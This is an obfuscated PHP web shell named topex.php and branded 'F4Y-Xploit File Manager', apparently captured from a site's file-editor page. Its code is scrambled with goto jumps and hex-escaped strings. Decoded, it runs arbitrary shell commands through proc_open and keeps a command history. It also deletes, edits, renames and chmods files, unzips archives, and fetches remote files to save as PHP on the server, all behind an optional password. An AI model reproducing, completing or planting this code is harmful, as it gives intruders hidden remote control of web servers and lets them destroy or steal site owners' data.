Kembali
Edit File: topex.php
<?php goto j3JK7; DJPMz: ?> <li class="nav-item"><a class="btn nav-link"href="?action=password&d=<?php goto g9pty; vDWeX: ini_set("\144\x69\163\x70\154\x61\171\x5f\145\162\162\x6f\162\x73", 1); goto PgJPw; VQUxR: if (isset($_GET["\x64\145\154\x65\164\145"])) { $target = realpath(urldecode($_GET["\144\x65\154\145\x74\145"])); if ($target !== false && strpos($target, realpath($cwd)) === 0) { $ok = delete_recursive($target); header("\114\x6f\x63\141\x74\151\x6f\x6e\x3a\x20\77\144\x3d" . urlencode($cwd) . "\x26\x6d\163\x67\x3d" . ($ok ? urlencode("\x44\151\x68\141\160\x75\x73") : urlencode("\107\141\147\141\x6c\x20\150\x61\160\x75\163"))); } else { header("\114\157\x63\x61\164\x69\157\x6e\x3a\x20\x3f\144\75" . urlencode($cwd) . "\46\x6d\x73\x67\x3d" . urlencode("\107\141\x67\141\x6c\x20\150\141\x70\x75\x73\x3a\40\120\x61\x74\150\40\x74\x69\144\x61\153\x20\166\141\154\x69\x64\x20\x61\164\141\165\40\144\151\x20\x6c\x75\x61\x72\x20\144\x69\162\x65\x6b\x74\157\162\x69\x20\153\145\162\152\x61\x2e")); } die; } goto rpWaT; YGhMw: function perms($file) { $p = @fileperms($file); if ($p === false) { return "\55\55\x2d\55\x2d\x2d\x2d\x2d\55"; } return ($p & 16384 ? "\144" : "\55") . ($p & 256 ? "\x72" : "\x2d") . ($p & 128 ? "\167" : "\x2d") . ($p & 64 ? $p & 2048 ? "\163" : "\x78" : ($p & 2048 ? "\x53" : "\55")) . ($p & 32 ? "\x72" : "\x2d") . ($p & 16 ? "\x77" : "\x2d") . ($p & 8 ? $p & 1024 ? "\163" : "\x78" : ($p & 1024 ? "\x53" : "\55")) . ($p & 4 ? "\162" : "\55") . ($p & 2 ? "\x77" : "\55") . ($p & 1 ? $p & 512 ? "\x74" : "\x78" : ($p & 512 ? "\124" : "\55")); } goto JFnbV; kcoH8: foreach (list_dir($cwd) as $i) { $n = htmlspecialchars($i["\x6e\x61\x6d\145"]); $p = htmlspecialchars($i["\160\x61\x74\150"]); $encoded_p = urlencode($i["\160\x61\164\150"]); $file_perms_octal = perms_to_octal(@fileperms($i["\x70\141\x74\x68"])); $row_class = ''; if (in_array(realpath($i["\160\141\164\x68"]), $clipboard_items)) { $row_class = "\x63\x6c\151\160\142\x6f\141\162\144\x2d" . $clipboard_type; } echo "\74\x74\162\x20\x63\154\x61\163\163\75\47" . $row_class . "\47\x3e"; echo "\74\x74\144\76\74\x69\x6e\x70\x75\x74\40\164\x79\x70\x65\75\47\143\x68\145\143\153\x62\x6f\x78\47\x20\156\x61\x6d\145\75\47\163\145\x6c\145\x63\x74\x65\144\x5f\x69\x74\145\x6d\163\x5b\x5d\47\x20\x76\x61\x6c\x75\145\75\x27" . $encoded_p . "\x27\x3e\74\x2f\164\144\76"; echo "\74\x74\144\76" . ($i["\x69\x73\137\x64\151\x72"] ? "\74\x61\x20\150\x72\x65\x66\x3d\x27\x3f\x64\x3d" . $encoded_p . "\x27\x3e\74\x69\x20\x63\x6c\x61\x73\163\75\47\x66\141\x20\x66\x61\x2d\x66\157\x6c\x64\x65\x72\x2d\157\47\76\74\57\151\76\x20{$n}\x3c\57\x61\76" : "\x3c\151\40\x63\x6c\x61\163\x73\x3d\47\146\x61\x20\146\141\55\146\151\x6c\145\x2d\x6f\47\x3e\74\x2f\x69\x3e\40{$n}") . "\x3c\x2f\x74\x64\x3e"; echo "\x3c\164\144\76" . formatSize($i["\x73\151\172\145"]) . "\x3c\x2f\164\x64\76"; echo "\x3c\164\144\x3e" . date("\131\55\155\x2d\144\x20\110\x3a\151", $i["\x6d\x74\151\x6d\x65"]) . "\74\x2f\164\144\76"; echo "\74\x74\x64\x3e" . perms($i["\x70\141\164\x68"]) . "\x20\50{$file_perms_octal}\x29\x3c\x2f\x74\144\76"; echo "\x3c\164\144\x20\x63\154\141\163\x73\75\x27\144\55\146\154\145\x78\x20\146\154\x65\x78\x2d\x77\x72\141\160\x20\147\x61\160\x2d\x31\47\76" . (!$i["\151\x73\x5f\144\x69\162"] ? "\x3c\x61\40\x68\x72\x65\x66\75\x27\77\145\144\x69\x74\x3d" . $encoded_p . "\46\x64\75" . urlencode($cwd) . "\47\x20\143\x6c\141\x73\163\75\x27\142\x74\156\40\x62\x74\x6e\55\163\155\x20\142\164\156\55\x77\x61\x72\156\x69\x6e\x67\x27\x3e\74\x69\x20\x63\154\x61\163\163\x3d\47\146\x61\40\x66\x61\x2d\x65\x64\151\164\47\x3e\74\x2f\x69\x3e\74\57\x61\76" : '') . (!$i["\x69\x73\137\144\151\x72"] ? "\x3c\141\40\x68\x72\x65\x66\x3d\x27\77\x64\157\x77\156\x6c\x6f\x61\x64\x3d" . $encoded_p . "\46\144\75" . urlencode($cwd) . "\x27\x20\x63\154\141\163\x73\x3d\x27\142\x74\156\40\x62\x74\156\55\x73\x6d\40\142\164\156\55\x73\165\143\143\x65\163\163\47\76\x3c\151\40\x63\x6c\141\x73\x73\x3d\47\146\x61\x20\146\141\55\144\157\167\x6e\x6c\x6f\141\144\47\76\74\x2f\x69\x3e\74\x2f\141\76" : '') . "\x3c\x62\x75\x74\164\x6f\x6e\40\164\x79\160\x65\x3d\x27\142\165\164\x74\157\156\x27\x20\143\x6c\141\163\x73\x3d\x27\142\164\x6e\x20\x62\164\x6e\55\x73\x6d\40\x62\x74\x6e\x2d\163\x65\x63\x6f\x6e\x64\x61\x72\x79\x27\x20\157\x6e\x63\154\x69\x63\x6b\x3d\x27\x73\x68\x6f\167\122\145\x6e\141\x6d\x65\115\x6f\x64\x61\154\50\x22" . $encoded_p . "\42\x2c\40\42" . $n . "\x22\51\x27\76\x3c\151\x20\143\154\141\163\163\75\47\x66\x61\x20\146\141\x2d\160\x65\x6e\143\151\x6c\x27\x3e\74\57\151\x3e\x3c\57\x62\x75\x74\x74\157\x6e\76" . "\x3c\142\x75\164\164\x6f\x6e\x20\x74\171\x70\145\x3d\x27\x62\165\x74\164\157\x6e\47\x20\143\154\141\163\x73\75\47\142\164\x6e\x20\x62\164\156\55\163\x6d\40\x62\164\x6e\55\144\x61\162\153\47\x20\x6f\x6e\x63\154\151\x63\x6b\x3d\x27\163\x68\157\167\103\150\x6d\157\144\x4d\157\144\141\x6c\50\x22" . $encoded_p . "\42\54\x20\x22" . $file_perms_octal . "\42\51\x27\76\74\151\x20\143\x6c\x61\x73\163\x3d\47\146\x61\40\x66\141\55\x6b\145\171\47\76\74\57\151\x3e\74\57\x62\x75\x74\x74\157\156\x3e" . "\74\141\40\150\x72\145\146\75\x27\x3f\x64\x65\154\x65\x74\145\75" . $encoded_p . "\46\144\75" . urlencode($cwd) . "\47\40\x63\154\x61\163\x73\75\47\142\164\156\x20\x62\x74\156\55\163\155\x20\142\x74\x6e\x2d\x64\141\156\147\x65\x72\x27\x20\157\x6e\143\x6c\x69\x63\x6b\75\x27\x72\x65\164\165\x72\x6e\x20\143\x6f\156\146\x69\x72\155\x28\42\131\x61\x6b\x69\x6e\40\x69\156\147\151\156\40\x6d\x65\156\x67\150\141\x70\165\163\x20" . ($i["\x69\163\137\x64\151\x72"] ? "\146\157\x6c\144\x65\x72\x20\x69\156\x69\x20\x62\145\163\145\x72\164\141\x20\x69\x73\x69\156\171\141" : "\146\151\x6c\x65\40\151\156\x69") . "\x3f\42\x29\47\x3e\74\151\40\143\x6c\x61\163\x73\x3d\47\x66\141\x20\x66\x61\x2d\x74\162\x61\x73\x68\55\157\x27\x3e\x3c\57\151\76\x3c\x2f\x61\x3e" . (preg_match("\57\x5c\x2e\50\172\151\160\x29\44\57\151", $n) && !$i["\x69\163\x5f\x64\x69\x72"] ? "\x3c\141\x20\150\162\145\x66\75\x27\77\165\x6e\172\151\x70\x3d" . $encoded_p . "\x26\144\75" . urlencode($cwd) . "\47\x20\x63\x6c\x61\x73\x73\75\47\x62\164\156\40\142\164\156\55\163\x6d\x20\142\164\156\x2d\151\156\x66\157\47\x20\157\156\143\154\151\x63\x6b\75\47\x72\x65\164\165\x72\x6e\x20\x63\x6f\156\x66\151\x72\155\50\42\x59\x61\153\x69\156\40\x69\x6e\x67\x69\x6e\x20\155\x65\156\x67\x65\153\163\164\x72\x61\153\x20\x66\x69\154\x65\x20\x69\156\x69\x3f\x22\x29\47\x3e\74\x69\x20\143\154\x61\x73\x73\x3d\47\x66\x61\40\146\x61\55\x66\x69\x6c\x65\55\x61\x72\143\150\151\166\x65\x2d\157\x27\x3e\74\x2f\151\76\74\x2f\141\76" : '') . "\74\57\x74\144\x3e\74\x2f\164\162\x3e"; } goto D9rmt; CeQB2: function execute_command($cmd, $cwd) { if (!function_exists("\x70\162\157\x63\137\157\x70\x65\156")) { return "\74\x70\162\145\76\x45\162\x72\x6f\162\72\40\x46\165\156\147\163\151\x20\160\162\157\143\137\x6f\x70\145\x6e\50\x29\x20\x64\151\x6e\157\156\141\153\164\x69\146\153\141\156\x20\144\x69\x20\163\145\x72\x76\x65\162\40\151\156\x69\56\x20\124\151\x64\141\153\x20\x64\141\x70\141\164\40\x6d\145\x6e\152\x61\154\x61\156\x6b\x61\156\40\x70\x65\162\151\x6e\164\x61\x68\56\74\x2f\160\x72\x65\76"; } $descriptorspec = array(0 => array("\160\x69\160\145", "\x72"), 1 => array("\160\x69\x70\145", "\167"), 2 => array("\x70\151\x70\145", "\x77")); $process = @proc_open($cmd, $descriptorspec, $pipes, $cwd, null); if (is_resource($process)) { fclose($pipes[0]); $stdout = stream_get_contents($pipes[1]); fclose($pipes[1]); $stderr = stream_get_contents($pipes[2]); fclose($pipes[2]); $return_value = proc_close($process); return "\74\160\x72\x65\x20\x73\x74\x79\154\145\75\47\143\x6f\x6c\x6f\x72\72\43\60\x30\x66\146\x30\x30\47\76\12" . htmlspecialchars($stdout) . "\12\x45\x72\162\x6f\162\72\12" . htmlspecialchars($stderr) . "\12\105\170\x69\164\40\103\157\x64\x65\x3a\x20" . htmlspecialchars($return_value) . "\x3c\57\x70\162\x65\x3e"; } else { $last_error = error_get_last(); return "\74\x70\162\x65\x3e\105\x72\162\157\x72\72\x20\x43\157\165\x6c\x64\40\x6e\x6f\164\x20\x6f\x70\145\156\x20\160\162\x6f\143\x65\x73\x73\x2e\40" . ($last_error ? htmlspecialchars($last_error["\155\145\x73\163\141\147\x65"]) : "\x54\x69\144\x61\153\40\144\141\160\x61\x74\x20\155\145\x6d\165\x6c\x61\x69\40\160\162\x6f\x73\x65\x73\x20\145\x6b\163\164\145\x72\156\x61\x6c\56") . "\74\x2f\x70\x72\x65\76"; } } goto XyFGC; uw2WR: if (isset($_GET["\x61\143\164\x69\x6f\156"])) { echo "\74\x61\x20\x68\162\x65\146\75\47\x3f\144\x3d" . urlencode($cwd) . "\x27\x20\143\154\141\x73\x73\x3d\47\x62\164\x6e\x20\142\x74\156\55\163\x6d\40\142\x74\x6e\55\x73\x65\143\x6f\x6e\x64\141\x72\171\40\x6d\142\x2d\63\40\155\x74\x2d\x32\x27\76\x3c\151\x20\143\154\141\x73\163\75\47\146\141\40\x66\141\55\141\162\162\157\167\55\154\145\146\x74\47\76\x3c\57\x69\x3e\x20\x4b\x65\155\142\x61\154\x69\x3c\57\x61\x3e"; if ($_GET["\x61\x63\x74\x69\x6f\x6e"] === "\160\141\163\x73\x77\157\162\x64") { echo "\74\146\x6f\x72\x6d\x20\155\x65\164\x68\157\x64\x3d\x27\160\157\163\164\x27\x20\x63\x6c\x61\x73\x73\75\x27\x6d\142\55\63\x27\x3e\xa\x20\40\40\40\x20\40\40\x20\x3c\154\141\x62\145\154\x20\146\x6f\162\75\47\163\x65\x74\x70\x61\163\x73\x27\x20\x63\x6c\x61\x73\163\x3d\47\x66\157\162\x6d\x2d\154\141\142\145\154\47\76\123\145\164\40\x4e\x65\x77\x20\x50\x61\163\163\167\157\162\x64\72\x3c\57\154\x61\142\145\154\x3e\xa\x20\40\x20\x20\x20\40\x20\40\x3c\151\x6e\160\x75\x74\x20\x74\x79\x70\145\x3d\47\x70\141\163\x73\x77\x6f\x72\x64\x27\x20\x6e\141\x6d\x65\x3d\47\x73\145\164\x70\x61\x73\x73\x27\x20\151\144\x3d\x27\163\145\164\160\x61\x73\163\x27\x20\x63\x6c\x61\x73\x73\75\x27\x66\x6f\162\x6d\x2d\x63\157\x6e\164\x72\x6f\154\x20\x6d\x62\55\x32\x27\x20\x70\x6c\141\143\145\150\x6f\x6c\x64\x65\x72\75\47\x45\x6e\x74\145\162\40\156\145\167\x20\x70\141\x73\163\167\157\x72\144\x27\76\xa\x20\40\x20\40\x20\40\x20\40\x3c\x62\165\x74\164\157\156\x20\x63\154\x61\163\x73\75\x27\x62\x74\156\x20\x62\164\x6e\x2d\x77\141\x72\156\x69\156\147\x27\76\123\151\155\160\141\x6e\40\120\141\x73\163\167\157\x72\144\x3c\57\142\165\x74\164\x6f\x6e\x3e\x3c\57\146\x6f\x72\155\x3e\xa\40\x20\x20\40\40\40\x20\x20\x3c\146\157\x72\x6d\40\155\x65\164\150\x6f\x64\75\x27\x70\157\163\x74\47\x20\x63\x6c\x61\163\163\75\47\x6d\164\x2d\62\x27\76\xa\x20\40\40\40\x20\40\40\40\x3c\151\x6e\160\x75\x74\x20\164\171\x70\x65\75\x27\150\151\x64\144\145\x6e\47\x20\156\141\155\x65\75\47\144\x65\x6c\160\141\x73\163\47\40\166\x61\154\x75\x65\x3d\47\x31\x27\76\xa\40\40\40\40\x20\x20\40\40\x3c\x62\165\164\164\157\x6e\40\x63\154\141\163\x73\75\x27\x62\x74\x6e\x20\142\x74\x6e\55\x64\x61\156\x67\x65\x72\47\76\x48\x61\160\165\163\x20\120\141\163\163\167\157\162\144\74\57\142\165\164\x74\157\156\x3e\74\x2f\146\x6f\162\x6d\76"; } elseif ($_GET["\141\143\x74\x69\x6f\156"] === "\x69\x6e\146\157") { echo "\x3c\144\x69\166\x20\x63\x6c\x61\163\163\x3d\42\143\x6f\x6e\x74\x61\x69\156\145\162\x22\x3e\xa\x20\x20\40\40\40\x20\40\x20\74\x68\61\x20\x63\x6c\141\x73\x73\x3d\x22\x6d\142\55\x33\42\x3e\106\151\x6c\145\40\115\141\156\x61\x67\x65\x72\x20\55\40\106\x34\131\x2d\x58\160\x6c\157\151\164\74\x2f\150\61\x3e\xa\x20\40\x20\x20\40\x20\x20\x20\74\150\x72\76\xa\40\x20\x20\40\40\x20\x20\40\x3c\x70\x3e\74\x73\x74\x72\x6f\156\147\x3e\x41\165\164\150\x6f\x72\72\x3c\57\163\164\162\157\x6e\x67\x3e\40\x3c\x73\x70\141\x6e\x20\x73\164\171\x6c\x65\75\x22\143\157\154\157\162\x3a\x23\60\146\60\x22\x3e\106\64\131\55\130\x70\x6c\157\151\164\74\57\x73\160\141\x6e\76\x3c\57\x70\x3e\12\x20\40\x20\x20\x20\x20\x20\x20\x3c\160\x3e\x3c\x73\x74\162\157\156\x67\76\103\157\156\x74\141\x63\164\72\x3c\57\x73\x74\162\x6f\x6e\x67\x3e\x20\x3c\141\x20\150\162\145\146\75\42\x68\x74\164\x70\163\72\57\57\164\x2e\155\145\x2f\106\x61\x79\x61\156\172\157\x22\40\164\x61\x72\147\145\x74\75\x22\x5f\142\154\141\156\153\x22\x3e\x54\145\x6c\145\x67\x72\x61\x6d\74\57\141\76\74\57\x70\76\12\40\40\40\40\40\x20\x20\x20\74\160\x3e\74\x73\164\x72\157\x6e\x67\76\x54\165\x6a\165\141\156\40\120\145\155\x62\x75\x61\164\x61\x6e\72\74\x2f\163\164\x72\157\156\x67\76\74\57\160\76\xa\40\x20\x20\40\40\40\x20\40\x3c\x75\x6c\76\xa\40\40\40\x20\40\x20\x20\x20\x20\40\x20\x20\74\x6c\151\x3e\x4d\141\x6e\x61\152\x65\155\x65\x6e\40\146\151\154\145\40\x62\x65\x72\142\x61\163\151\163\x20\167\145\x62\x20\x74\x61\156\160\x61\40\x46\x54\x50\x3c\x2f\154\151\76\xa\x20\40\40\40\x20\40\40\x20\x20\40\40\40\74\x6c\151\76\x44\x61\x70\141\164\x20\x64\x69\x67\x75\x6e\x61\153\x61\156\40\x75\x6e\x74\x75\x6b\40\162\x65\155\157\x74\x65\x20\x63\x6f\156\164\162\157\x6c\40\x66\x69\x6c\x65\40\144\151\x20\x68\157\x73\x74\x69\x6e\147\40\x61\164\x61\x75\40\126\120\123\x3c\x2f\154\x69\76\xa\x20\x20\40\40\40\40\x20\x20\x20\x20\40\40\74\x6c\151\x3e\104\x69\154\145\x6e\x67\x6b\x61\x70\151\40\146\x69\x74\x75\162\40\165\x70\x6c\x6f\x61\144\x2c\40\x65\x64\151\164\54\40\162\145\156\141\x6d\145\54\40\x68\x61\x70\x75\x73\54\x20\x70\162\157\164\145\153\x73\151\x20\160\x61\x73\x73\167\x6f\162\144\x2c\x20\x64\141\156\40\x74\x68\145\x6d\x65\40\164\157\x67\x67\x6c\145\x3c\57\x6c\x69\76\xa\x20\40\40\40\40\x20\x20\x20\74\x2f\x75\154\x3e\xa\x20\x20\40\40\40\40\40\x20\74\160\x20\143\x6c\x61\163\163\75\42\x74\145\170\164\x2d\155\x75\x74\x65\x64\42\76\x56\x65\162\163\x69\72\x20\61\56\60\40\174\x20\125\x70\144\141\164\x65\40\164\x65\162\x61\x6b\x68\151\x72\x3a\40\x4a\165\x6c\x69\x20\62\x30\x32\x35\74\57\160\76\12\40\x20\40\x20\x3c\57\x64\151\x76\x3e"; } elseif ($_GET["\141\143\164\x69\157\x6e"] === "\143\x6d\144") { if (!function_exists("\160\x72\157\x63\x5f\x6f\160\145\156")) { echo "\74\x64\x69\x76\40\x63\x6c\x61\x73\x73\x3d\47\x61\x6c\145\x72\164\x20\x61\x6c\x65\162\x74\55\x77\141\162\x6e\151\x6e\x67\x27\76\106\165\156\x67\x73\x69\40\x65\153\163\x65\153\x75\163\151\x20\160\x65\x72\151\x6e\x74\x61\x68\x20\x28\x43\x4d\104\51\x20\144\151\x6e\x6f\x6e\141\153\x74\x69\x66\x6b\141\156\40\x64\x69\x20\163\x65\x72\x76\145\x72\x20\151\x6e\151\x20\x6f\154\x65\x68\x20\160\x65\x6e\171\145\x64\x69\x61\40\150\x6f\x73\164\151\x6e\x67\x20\x41\x6e\144\x61\x2e\74\x2f\x64\x69\166\x3e"; } echo "\74\x66\157\x72\155\40\155\145\164\x68\x6f\x64\75\x27\160\x6f\x73\164\47\40\143\x6c\141\163\163\75\47\155\x74\x2d\63\47\76\12\x20\x20\40\x20\40\40\x20\40\x3c\154\141\x62\145\x6c\40\146\x6f\162\75\x27\143\157\x6d\155\141\x6e\144\x5f\x69\156\160\165\164\x27\x20\143\x6c\x61\x73\163\x3d\47\x66\157\162\x6d\x2d\154\141\x62\x65\x6c\47\76\105\x78\x65\x63\x75\164\145\40\x43\x6f\x6d\x6d\141\156\144\x3a\x3c\x2f\154\141\x62\145\154\76\xa\40\40\x20\x20\40\40\40\x20\74\x64\x69\x76\x20\x63\x6c\141\x73\163\75\47\151\x6e\x70\x75\164\55\x67\162\x6f\165\160\40\x6d\x62\55\62\x27\76\xa\40\40\40\40\40\x20\40\x20\40\40\x20\40\x3c\151\156\160\x75\164\40\156\141\155\145\x3d\x27\x63\157\155\x6d\x61\156\x64\x27\x20\x69\x64\x3d\47\143\x6f\155\x6d\x61\156\144\137\x69\156\160\x75\x74\x27\x20\160\154\x61\x63\x65\150\x6f\154\144\x65\162\x3d\x27\105\156\164\x65\162\40\143\157\155\x6d\141\x6e\x64\x27\x20\x63\x6c\x61\163\x73\x3d\47\146\x6f\162\155\x2d\143\157\x6e\164\x72\157\x6c\47\76\12\x20\x20\x20\40\40\x20\40\x20\40\40\40\40\74\x62\165\164\164\157\156\40\164\171\160\145\75\x27\x73\165\x62\x6d\151\x74\47\40\143\154\141\x73\x73\75\x27\x62\x74\x6e\40\x62\x74\156\55\160\162\x69\155\x61\162\171\x27\40\156\x61\x6d\x65\75\47\x63\155\144\137\x65\170\x65\x63\47\x3e\x45\170\145\x63\x75\x74\145\74\57\142\165\x74\x74\x6f\156\76\12\x20\x20\40\x20\x20\x20\x20\40\x20\x20\x20\x20\x3c\142\165\164\164\157\x6e\40\164\171\160\145\x3d\x27\142\165\164\164\157\156\47\40\143\x6c\x61\163\163\75\47\x62\x74\156\x20\142\164\x6e\55\x6f\x75\164\x6c\x69\156\x65\x2d\x73\x65\x63\157\156\144\141\162\171\x27\40\x6f\156\x63\154\151\x63\153\75\x27\143\154\x65\x61\x72\103\x6d\x64\117\165\164\x70\165\x74\x28\51\47\x3e\103\154\x65\141\x72\x20\117\x75\164\x70\165\164\74\x2f\x62\165\164\164\157\156\x3e\12\x20\x20\40\40\40\x20\40\40\x3c\57\x64\x69\166\76\12\x20\40\x20\40\x20\x20\40\40\74\x2f\x66\157\162\155\x3e"; if (!empty($_SESSION["\x63\x6d\144\137\150\x69\163\164\x6f\162\x79"])) { echo "\x3c\150\66\x20\x63\x6c\141\x73\x73\75\x27\x6d\164\x2d\64\x27\76\103\x6f\x6d\155\x61\x6e\x64\x20\x48\151\163\164\157\x72\171\x3a\74\x2f\150\66\76\12\40\40\40\40\40\40\x20\x20\x20\x20\40\40\x3c\144\151\x76\40\143\x6c\141\x73\x73\x3d\47\154\151\163\164\55\x67\x72\x6f\x75\160\x20\x6d\142\55\x33\47\x20\x73\164\x79\x6c\x65\x3d\x27\155\x61\170\55\150\145\x69\147\150\x74\72\40\x32\60\60\160\170\73\x20\x6f\166\145\162\146\154\157\x77\x2d\171\x3a\40\x61\x75\x74\157\x3b\47\76"; foreach ($_SESSION["\x63\155\x64\x5f\150\x69\163\164\x6f\x72\x79"] as $hist_cmd) { echo "\74\x61\40\150\162\145\146\x3d\x27\43\47\x20\x63\154\141\x73\x73\75\47\x6c\x69\163\x74\x2d\147\162\157\165\x70\55\151\x74\145\x6d\40\x6c\x69\x73\164\x2d\147\x72\x6f\x75\160\55\x69\164\x65\x6d\55\x61\143\x74\151\157\156\40\x6c\151\x73\x74\55\x67\x72\x6f\x75\x70\55\151\x74\x65\x6d\x2d\163\145\143\157\156\144\141\162\x79\47\40\157\156\x63\154\x69\x63\153\75\47\x64\157\x63\165\x6d\x65\x6e\x74\x2e\147\x65\x74\105\x6c\145\x6d\x65\x6e\164\102\x79\x49\144\50\x22\143\157\155\x6d\141\156\x64\x5f\151\x6e\160\x75\x74\x22\x29\x2e\x76\141\x6c\x75\145\40\75\40\42" . addslashes($hist_cmd) . "\x22\x3b\40\x72\x65\x74\165\162\x6e\40\146\141\x6c\x73\145\73\47\76" . htmlspecialchars($hist_cmd) . "\74\x2f\x61\76"; } echo "\x3c\x2f\144\x69\x76\x3e\12\40\40\x20\x20\x20\x20\40\40\40\x20\x20\40\74\146\x6f\x72\155\x20\x6d\145\164\150\157\x64\x3d\47\160\x6f\163\x74\x27\x3e\xa\40\x20\40\40\40\40\40\x20\40\x20\x20\40\x20\40\40\x20\74\142\165\164\x74\157\156\x20\164\x79\x70\145\75\x27\163\x75\x62\x6d\x69\x74\x27\x20\x6e\141\x6d\145\75\47\143\154\145\141\162\x5f\143\x6d\144\137\150\x69\163\x74\157\x72\171\47\40\x63\154\x61\x73\x73\x3d\x27\142\164\156\x20\x62\x74\156\x2d\163\x6d\40\142\x74\x6e\55\x64\141\x6e\147\x65\162\47\x20\157\x6e\143\154\151\x63\153\75\x27\x72\145\x74\165\162\x6e\x20\143\157\x6e\146\151\x72\155\x28\42\131\x61\x6b\x69\156\x20\x69\156\x67\151\x6e\x20\155\145\x6e\x67\150\141\x70\x75\x73\x20\x72\151\x77\x61\x79\141\x74\x20\x70\145\x72\151\x6e\164\x61\x68\77\42\x29\x27\x3e\103\154\145\x61\162\40\110\x69\x73\164\x6f\x72\171\x3c\x2f\142\x75\x74\164\157\156\76\12\x20\40\x20\40\40\x20\x20\40\x20\x20\40\40\x3c\x2f\x66\157\x72\155\76"; } echo "\x3c\150\66\x20\143\x6c\141\x73\163\x3d\47\x6d\164\55\64\x27\76\xf0\x9f\x93\xa5\40\x49\x6d\160\157\x72\x74\x20\122\x61\x77\x20\106\151\x6c\145\40\146\x72\x6f\x6d\40\125\122\114\72\74\57\150\66\x3e\12\x20\x20\40\x20\40\40\40\x20\x3c\x66\x6f\x72\x6d\40\155\145\x74\x68\157\144\x3d\47\160\x6f\x73\x74\x27\40\x63\x6c\141\x73\163\75\x27\x6d\142\55\x33\x27\x3e\12\40\x20\x20\x20\x20\40\x20\x20\40\x20\x20\x20\74\154\141\142\x65\154\x20\146\157\x72\75\x27\165\x72\x6c\137\164\x6f\x5f\x64\157\x77\156\154\x6f\141\x64\x5f\x72\x61\167\x27\40\143\x6c\141\x73\x73\x3d\x27\x66\x6f\x72\x6d\x2d\154\x61\142\x65\154\x27\x3e\xf0\237\x94\227\x20\x55\x52\114\40\122\x61\167\x20\x46\x69\154\145\72\74\x2f\154\141\x62\145\154\76\12\x20\40\x20\x20\40\40\40\x20\x20\40\40\x20\x3c\x69\156\160\165\x74\40\x74\171\160\145\75\47\x75\x72\154\x27\40\x6e\x61\x6d\x65\75\47\x75\x72\x6c\137\x74\x6f\x5f\x64\x6f\167\156\x6c\157\141\144\137\x72\x61\167\x27\40\151\x64\75\47\165\x72\154\x5f\x74\x6f\137\x64\x6f\x77\x6e\154\x6f\x61\144\137\x72\141\167\47\x20\160\x6c\141\x63\145\150\157\x6c\144\145\162\75\47\x68\164\x74\160\x73\72\x2f\57\x65\x78\141\x6d\160\154\145\x2e\143\x6f\155\57\x72\x61\x77\x2e\x74\170\x74\47\40\x63\x6c\x61\x73\x73\x3d\47\x66\x6f\x72\x6d\55\x63\157\x6e\164\x72\157\154\40\155\x62\55\x32\47\x20\162\x65\161\165\x69\162\145\x64\x3e\xa\12\x20\40\40\40\40\40\x20\40\x20\40\x20\40\x3c\x6c\141\x62\x65\154\40\146\x6f\162\75\47\x66\151\x6c\x65\156\141\155\145\137\164\157\x5f\x73\x61\166\145\x27\x20\143\x6c\x61\x73\163\75\47\146\x6f\x72\155\55\154\x61\x62\145\154\47\x3e\360\237\x92\276\40\123\141\x76\145\x20\101\x73\x20\50\146\x69\154\145\156\x61\155\x65\x29\x3a\74\x2f\x6c\x61\x62\x65\x6c\x3e\xa\40\x20\x20\x20\40\40\40\40\x20\40\40\40\74\151\x6e\160\165\164\x20\164\x79\160\x65\75\x27\x74\x65\x78\164\x27\x20\156\141\x6d\145\x3d\47\146\x69\154\x65\156\141\x6d\145\x5f\x74\157\x5f\163\x61\x76\x65\x27\x20\x69\144\75\47\146\151\x6c\145\x6e\x61\x6d\145\x5f\164\x6f\x5f\163\141\166\145\47\x20\x70\154\x61\x63\145\150\x6f\154\144\x65\x72\75\47\150\x61\x73\x69\x6c\x2e\x70\x68\160\47\40\x63\x6c\x61\x73\x73\75\47\x66\x6f\x72\155\x2d\x63\x6f\156\x74\x72\x6f\154\x20\x6d\142\55\62\47\x20\x72\x65\161\165\151\162\145\144\x3e\12\12\40\40\40\x20\40\x20\x20\40\40\40\x20\40\x3c\x62\x75\x74\164\157\156\x20\164\x79\160\145\x3d\47\163\165\142\x6d\151\164\x27\x20\x63\154\x61\x73\163\75\47\142\x74\156\40\x62\164\156\55\163\x75\x63\143\145\x73\x73\47\40\156\141\x6d\145\x3d\x27\144\157\167\156\x6c\x6f\141\x64\x5f\x75\x72\x6c\x5f\x61\x6e\x64\137\163\141\x76\145\47\76\104\157\x77\x6e\x6c\157\141\144\x20\46\x20\x53\141\166\145\x3c\57\142\165\164\x74\157\156\x3e\xa\40\40\40\x20\40\40\x20\x20\x3c\x2f\146\157\x72\x6d\76"; } echo "\x3c\x2f\x64\151\x76\76\74\x2f\x62\157\x64\171\76\74\57\150\x74\155\x6c\76"; die; } goto E8D3c; RRopu: echo urlencode($cwd); goto M20TF; g1nSE: function breadcrumbs($path, $self_filename) { $parts = explode(DIRECTORY_SEPARATOR, trim($path, DIRECTORY_SEPARATOR)); $full = ''; $out = array("\74\141\40\x68\162\145\x66\75\x22" . htmlspecialchars($self_filename) . "\42\x3e\x2f\74\57\x61\x3e"); foreach ($parts as $part) { if (empty($part)) { continue; } $full .= "\x2f" . $part; $out[] = "\74\x61\40\150\x72\145\146\x3d\x27\x3f\x64\x3d" . urlencode($full) . "\x27\76{$part}\74\x2f\x61\x3e"; } return implode("\x2f", $out); } goto upWbQ; MVGKF: ?> </li></ul><button class="btn btn-dark"onclick="toggleTheme()"><i class="fa fa-adjust"></i> Theme</button></div></div></nav><div class="container-fluid pt-3"><?php goto YuMha; Q0z5g: error_reporting(E_ALL); goto u4Ken; RygEw: echo breadcrumbs($cwd, $self); goto Q71cG; Fh0Vn: $clipboard_type = isset($_SESSION["\x63\x6c\x69\160\142\x6f\141\162\x64\x5f\164\171\160\x65"]) ? $_SESSION["\x63\154\151\x70\x62\157\x61\162\x64\137\164\171\160\145"] : null; goto iXfWD; E8D3c: ?> <form method="post"id="batch_form"><div class="table-responsive-custom"><table class="table table-bordered table-sm"><thead><tr><th><input type="checkbox"onclick="toggleAll(this)"></th><th>Name</th><th>Size</th><th>Last Modified</th><th>Perms</th><th>Actions</th></tr></thead><tbody><?php goto kcoH8; iNW_o: if (!empty($clipboard_items)) { ?> <li class="nav-item"><form method="post"class="d-inline-block"><input type="hidden"name="paste_item"value="1"> <button class="btn nav-link"type="submit"><i class="fa fa-paste"></i> Paste (<?php echo ($clipboard_type === "\x63\x75\164" ? "\x43\165\x74" : "\103\x6f\160\x79") . "\40" . count($clipboard_items); ?> )</button></form></li><?php } goto DJPMz; yK68g: $lock_file = __DIR__ . "\57\x2e\146\x73\137\154\157\x63\x6b"; goto Suq4K; g9pty: echo urlencode($cwd); goto WM3PA; 